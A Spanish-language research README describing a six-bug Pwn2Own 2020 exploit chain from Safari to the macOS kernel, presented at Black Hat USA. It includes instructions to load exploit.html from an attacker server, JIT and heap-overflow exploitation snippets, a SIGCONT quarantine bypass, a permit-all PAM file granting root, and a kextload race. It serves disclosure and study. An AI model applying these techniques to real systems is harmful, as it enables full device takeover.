
Comprometiendo el kernel de macOS a través de Safari encadenando seis vulnerabilidades
Este repositorio contiene los detalles técnicos y de explotación de nuestra propuesta ganadora del Pwn2Own 2020 que apuntaba a Apple Safari con una escalada de privilegios del kernel para macOS 10.15.3. Para más información, también puedes consultar nuestras diapositivas del Blackhat USA 2020 y vídeo. Este repositorio también incluye nuestro vídeo de demostración para la exitosa explotación.
2. Accede al sitio web con la IP del servidor del atacante con Safari:```
http://[attacker_ip]/exploit.html
csrutil status, que mostrará disabled.Para su comodidad, proporcionamos un payload compilado, payload.js. Pero, si lo
desea, puede compilarlo usted mismo. Tenga en cuenta que esto llevará mucho tiempo
porque compilaremos WebKit como parte de nuestra cadena de explotación. Cabe
mencionar que solo probamos nuestro proceso de compilación en Mac OS.```shell
$ python3 -m pip install --user lief $ make
Technical details
-----------------
Para crear este exploit, encadenamos las siguientes *SEIS* vulnerabilidades.
### 1. Ejecución remota de código en Safari mediante un modelado incorrecto de los efectos secundarios del operador 'in' en el compilador DFG de JavaScriptCore
- Análisis de la causa raíz
En JavaScriptCore, cuando se consulta una propiedad indexada con el operador 'in',
el compilador DFG asume que no tiene efectos secundarios a menos que haya un objeto
proxy en su cadena de prototipos que pueda interceptar esta operación.
JavaScriptCore marca un objeto que puede interceptar este acceso a la propiedad indexada
usando el indicador llamado 'MayHaveIndexedAccessors'. Este indicador se
marca explícitamente para el objeto Proxy.```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
Sin embargo, hay otro objeto que puede causar un efecto secundario:
JSHTMLEmbedElement que implementa su propio método getOwnPropertySlot(). Una
forma de activar callbacks (es decir, efectos secundarios) de JavaScript con el operador 'in' es
usar el elemento <embed> con el plugin de PDF; cuando se consulta cualquier propiedad en el
objeto DOM de la etiqueta embed / object, intenta cargar el plugin subyacente y el
manejador de eventos DOMSubtreeModified puede ser llamado en el caso del plugin de PDF porque
usa el método appendChild en el elemento body.
Esta es la traza de pila de la llamada del efecto secundario desde getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
Dado que cualquier objeto en la cadena de prototipos no está marcado con
"MayHaveIndexedAccessors", JIT asume que este uso del operador 'in' no
tiene transiciones internas, eliminando las comprobaciones de tipo de array después de la
transición.```javascript
// In the frame of
function opt(arr) {
arr[0] = 1.1;
100 in arr; // 100 not exists in arr, making it check __proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')
document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})
document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value
Al construir una primitiva addrof/fakeobj a partir de esto, podríamos hacer una primitiva RW arbitraria para obtener ejecución de código con la función JavaScript compilada por JIT.
Después de obtener las primitivas addrof/fakeobj, las convertimos en primitivas addrof/fakeobj más estables falsificando un objeto.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }
hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }
Filtramos el id de estructura del hostObj creando un objeto de función falso
fakeHostObj y llamando a Function.prototype.toString sobre él. El nombre de
la función refleja el valor del id de estructura como cadena UTF-16. Actualizamos el
hostObj después de filtrar el id de estructura. Vale la pena señalar que esta
técnica proviene de [la charla de Yong Wang en Blackhat EU 2019
](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: leakStructureId.asDouble(), // fakeHostObj.structureId
butterfly: fakeHostObj, // fakeHostObj.butterfly
o: {},
...
}
Ahora tenemos la mariposa de fakeHostObj apuntando a fakeHostObj mismo. Podemos usar la primitiva addrof/fakeobj sin volver a activar el bug, ya que podemos acceder a hostObj.o como JSValue o como double usando fakeHostObj[2].
Usando el id de estructura filtrado de attackObj y la primitiva addrof/fakeobj, podemos crear objetos como los siguientes.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly
__: 1.1, // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
// fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(), // fakeInnerObj.structureId
innerButterfly: fakeInnerObj, // fakeInnerObj.butterfly
}
Podemos obtener una primitiva arbitraria de lectura/escritura usando fakeRwObj para actualizar el puntero butterfly de fakeInnerObj y leer/escribir desde/hacia fakeInnerObj. Para lograr RCE a partir de una primitiva arbitraria de lectura/escritura, activamos la compilación JIT de la función dummy, filtramos la dirección del código y la sobrescribimos con nuestro shellcode. A veces, la filtración de la dirección del código falla porque no podemos leer/escribir ciertos valores desde nuestro array falso. En ese caso, intentamos aproximarla leyendo desde la ubicación del puntero + 1 y desplazando el valor leído. Finalmente, sobrescribimos el puntero de código de la función alert con el puntero de código de nuestra función dummy y la llamamos (con algunos argumentos) para ejecutar el shellcode.
### 2. Lanzamiento arbitrario de .app en Safari mediante enlace simbólico en didFailProvisionalLoad()
Para URL file://, Safari abre una ventana del Finder con [NSWorkspace selectFile:inFileViewerRootedAtPath:].
Esta función acepta dos parámetros y, en la mayoría de los casos, Safari solo usa el primer parámetro, que muestra la carpeta contenedora del archivo especificado. Pero si se usa el segundo parámetro en su lugar, el Finder lanza el archivo si es ejecutable o un paquete de aplicación (app bundle).
Safari usa el segundo parámetro después de confirmar que la ruta señalada no es un paquete de aplicación --- directorio con sufijo .app. Dado que un enlace simbólico puede apuntar al paquete de aplicación, pero este no es un directorio con sufijo .app, Safari lanzará la aplicación a la que apunta el enlace simbólico. Esta ruta de código se puede activar enviando el mensaje IPC didFailProvisionalLoad().
Sin embargo, Safari no puede crear un enlace simbólico debido al filtro de llamadas al sistema de la sandbox de Seatbelt. Así que usamos otra vulnerabilidad que otorga root, pero con ejecución de código en la sandbox.
### 3. Ejecución arbitraria de código en el servicio CVM (Core Virtual Machine) mediante desbordamiento de heap
Hay un servicio XPC en la sandbox llamado com.apple.cvmsServ (es decir, CVMServer), que compila shaders para varias arquitecturas. Es parte del framework OpenGL integrado.
Para las solicitudes con el campo "message" establecido en 4, CVMServer analiza los "framework data" y "maps" especificados por el usuario. El archivo de datos "maps" se encuentra en "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps": el primer %s es especificado por el usuario sin ningún filtro. Por lo tanto, es posible el directory traversal; podemos hacer que analice el archivo creado dentro de la sandbox de Safari.```c
FILE *fp = fopen(&framework_name_, "r");
...
Header *header = malloc(0x50);
fread(header, 0x50, 1, v132);
...
items_offset = header->items_offset;
items_count = header->items_count;
header = realloc(header, 56 * items_count + items_offset);
fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);
Si item_count * 56 + items_offset <= 0x50, fread() recibirá una longitud subdesbordada cercana a 2^64, por lo que se convierte en un desbordamiento de heap con carga útil de longitud arbitraria.
Tenga en cuenta que fread() se detiene cuando se alcanza el final del archivo especificado.
Al utilizar esto, podríamos sobrescribir el objeto de heap relacionado con la conexión, lo que podría modificar los punteros mencionados a continuación:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);
__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax
pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }
Si el valor de "port" es 0x103 (TASK-SELF), el servicio otorgará al cliente el
derecho de envío del puerto de tarea de CVMServer, que puede usarse para asignar memoria y
ejecutar código arbitrario en el proceso. Para hacer que v8[index].port == 0x103,
buscamos en la memoria del área de bibliotecas, que tienen las mismas direcciones en
los procesos.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)
Había muchas áreas que tenían dos valores enteros de 64 bits 0, -1, y para rax+0x38
y X+0x30, encontramos que _xpc_error_termination_imminent, que es un símbolo
público, satisface esta condición. Dado que la longitud es mayor que 2^64 / 0x10,
pudimos calcular el inverso modular para apuntar a Y(==0)*0x18+index+0x10 == &0x103.
Como CVMServer tenía com.apple.security.cs.allow-jit configurado, pudimos llamar a mmap con la bandera MAP_JIT e invocar nuestro cargador reflectivo para ejecutar archivos dylib en el proceso. Ejecutamos este código en CVMServer:```c // In /var/db/CVMS (writable folder)
char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");
// Create a valid application at my.app
Después de crear %lu.app y el enlace simbólico my.app, volvimos a Safari y enviamos
el mensaje IPC para abrir la app. Pero había dos protecciones más: la comprobación
de cuarentena y la comprobación de apertura de la app por primera vez.
### 4. Bypass de la protección de primera apertura de apps en macOS
Si Safari intenta ejecutar una app por primera vez, Safari deniega su
ejecución si el archivo tiene un atributo llamado com.apple.quarantine o espera la
confirmación del usuario. Todos los archivos creados por WebProcess tienen el atributo ---
com.apple.quarantine; sin embargo, ya podemos evadir esto porque creamos
la carpeta en el proceso CVMServer, no en WebProcess. Para la confirmación del
usuario, macOS primero crea el proceso, lo suspende y continúa
el proceso después de que el usuario haga clic en el botón `Open`. Pero enviar la señal SIGCONT funcionó
igual que hacer clic en el botón.
Por lo tanto, ejecutamos este código continuamente en CVMServer después de crear my.app:```c
for(int i = 0; i < 65536; i++)
kill(i, SIGCONT);
cfprefsd es otro servicio XPC que permite a un usuario crear archivos plist. Se encuentra en CoreFoundation y es accesible desde la mayoría de los procesos sin sandbox. Dado que ya obtuvimos privilegios sin sandbox para un usuario normal (p. ej., CVMServer), podemos solicitarle que cree un archivo plist si la carpeta y el archivo de destino tienen suficientes bits de permiso que permitan al usuario cliente escribir en el archivo. Sin embargo, si la carpeta no existe, crea la carpeta del archivo plist de forma recursiva.
A continuación se muestra un fragmento de código de CVMServer que crea la carpeta.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }
Pero si una ruta apunta a un directorio escribible por el usuario, un usuario puede reemplazar el directorio
al que apunta `cur`, y reemplazarlo con un enlace simbólico a un archivo/carpeta arbitrario.
Dado que cfprefsd tiene privilegios de root, es posible cambiar el propietario de las
carpetas como /etc/pam.d. Al cambiar el propietario de /etc/pam.d, podemos escribir
/etc/pam.d/login con el siguiente contenido:```txt
auth optional pam_permit.so
auth optional pam_permit.so
auth optional pam_permit.so
auth required pam_permit.so
account required pam_permit.so
account required pam_permit.so
password required pam_permit.so
session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
Entonces el comando login root le dará al usuario una shell de root sin
autenticación alguna.
kextload es uno de los programas que puede realizar operaciones de kext (extensión del kernel)
en macOS. Al ejecutar kextload [path of .kext folder], un usuario root puede cargar un
kext firmado desde el modo de usuario. Para evitar kexts sin firmar o con firma no válida,
kextload establece el callback 'authenticator' en el paquete IOKitUser. Desafortunadamente, la
ruta del kext es el único recurso disponible para el callback, por lo que la condición de
carrera es difícil de prevenir. Para mitigar esto, kextload primero copia la carpeta del kext
al espacio dedicado -- /Library/StagedExtensions --- que no puede
modificarse ni siquiera con privilegios de root gracias a SIP y al mecanismo de
entitlements.
kextload funciona de la siguiente manera. Si ejecutamos kextload /tmp/A.kext, kextload
copia la carpeta kext original a /Library/StagedExtensions/tmp/[UUID].kext.
Luego, kextload comprueba las firmas de todos los archivos de la carpeta. Si esto falla,
elimina la carpeta. De lo contrario, copia la carpeta a
/Library/StagedExtensions/tmp/A.kext y carga este módulo.```txt
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> validate signatures. if failed, delete the directory
-> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext
-> load the kext
Un problema en kextload es que este proceso puede ser terminado por un usuario con privilegios de root. Vale la pena señalar que la copia mencionada incluye un enlace simbólico, que se validará más adelante. Sin embargo, si matamos el proceso kextload antes de la validación, podemos conservar un kext inválido con un enlace simbólico en /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> kill this process
-> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained
Después de esto, si ejecutamos otro comando kextload con
kextload /tmp/[UUID].kext/symlink/B.kext, B.kext se copiará a la ubicación escribible
para un usuario con privilegios de root (p. ej., /tmp/[UUID'].kext)```
$ kextload /tmp/[UUID].kext/symlink/B.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext
-> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.
Después de copiar, kextload verifica si se encuentra en una ubicación segura, que es
`/Library/StagedExtensions/*`. Podemos colocar temporalmente el enlace simbólico en
/tmp/A.kext para que apunte a /Library/StagedExtensions/[path of valid kext]. Después
de la validación, podemos reemplazar el binario del módulo por un módulo de kernel sin firmar,
para obtener ejecución de código en el kernel.
Para que la condición de carrera sea confiable, usamos sandbox-exec para detener el programa
en el acceso al archivo con el sufijo especificado.
Autores
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])
Citación
--------```txt
@inproceedings{jin:pwn2own2020-safari,
title = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
author = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
booktitle = {Black Hat USA Briefings (Black Hat USA)},
month = aug,
year = 2020,
address = {Las Vegas, NV},
}